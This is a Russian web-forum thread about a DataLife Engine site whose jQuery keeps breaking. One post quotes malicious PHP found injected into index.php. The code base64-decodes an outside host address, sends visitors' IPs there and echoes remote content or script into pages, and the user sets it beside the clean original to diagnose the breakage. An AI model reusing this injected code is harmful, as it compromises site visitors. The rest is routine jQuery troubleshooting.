Javascript-форум (https://javascript.ru/forum/)
-   Библиотеки/Тулкиты/Фреймворки (https://javascript.ru/forum/library-toolkit-framework/)
-   -   jQuery постоянно слетает (https://javascript.ru/forum/library-toolkit-framework/35276-jquery-postoyanno-sletaet.html)

Twide 05.02.2013 23:59

jQuery постоянно слетает
 
Вот чудеса. Есть сайт, возраст около 2-х лет, все работало отлично, стоял движ. DLE. Недавно слетел jQuery и перестали работать все скрипты, написанные на нем. Перезалил папку Engine, все заработало, но через пару дней опять. На кого грешить? Кто виноват?))

danik.js 06.02.2013 00:25

Если вы не знали, то скрипты могут изнашиваться. Со временем они могут поломаться, или перестать работать. В этом нет ничего странного, в мире нет ничего вечного. Если серьезно, то проверьте файлы (и не только js) на наличие вредоносного кода.

Twide 06.02.2013 00:28

А какие файлы лучше проверять? Невозможно ведь весь движок перелопатить.

danik.js 06.02.2013 00:34

Ну для начала те, что ломаются. Смотрите на время последнего изменения файла. Стоит взглянуть на index.php и на .htaccess . Есть различные скрипты и программы для обнаружения вредоноса. Антивирусники вроде тоже че-та могут (не знаю, я живу без антивируса, нет, на винде :) )

Twide 06.02.2013 00:44

Нашел кое-что в index.php

echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n";

GzipOut();
function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {

		if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
		$ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
		$content = @file_get_contents($get);
		@setcookie("iJijkdaMnerys", $value, time()+3600*24);
		if (!$content)
			echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
		else 
			echo $content;

		}
}
collectnewss ();
?>


Сначала думал, что ничего особенного, но потом открыл index.php в архиве со скриптом и там этот код выглядит совсем иначе.

echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n";

GzipOut();
?>


Как думаете, это то?

рони 06.02.2013 00:50

Twide,
<script src="http://code.jquery.com/jquery-1.9.1.js"></script>
<script  type="text/javascript">
alert($.browser.msie );
</script>

с версии 1.9 нет подержки некоторых функций например $.browser можно исправить поставив загрузку ниже версии либо jQuery Migrate plugin
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script src="http://code.jquery.com/jquery-migrate-1.1.0.js"></script>
<script>
alert($.browser.msie );
</script>


<script src="http://code.jquery.com/jquery-1.8.3.js" type="text/javascript"></script>
<script  type="text/javascript">
alert($.browser.msie );
</script>

realstranger 28.02.2013 09:08

Спасибо, в моём случае не помогает даже подключение нужной библиотеки, 2 скрипта между собой конфликтуют..

рони 28.02.2013 09:10

Цитата:

Сообщение от realstranger
2 скрипта между собой конфликтуют..

какие 2 скрипта?

realstranger 28.02.2013 10:59

Всё, разобрался, спасибо вам огромное! Проблема была не с кофнликтами, а с тем, что Chrome неправильно обрабатывал scrollTo, заменил на animate. Всё заработало!!

Осталась только проблема с соц. кнопками из моего прошлого топика)


Часовой пояс GMT +3, время: 15:18.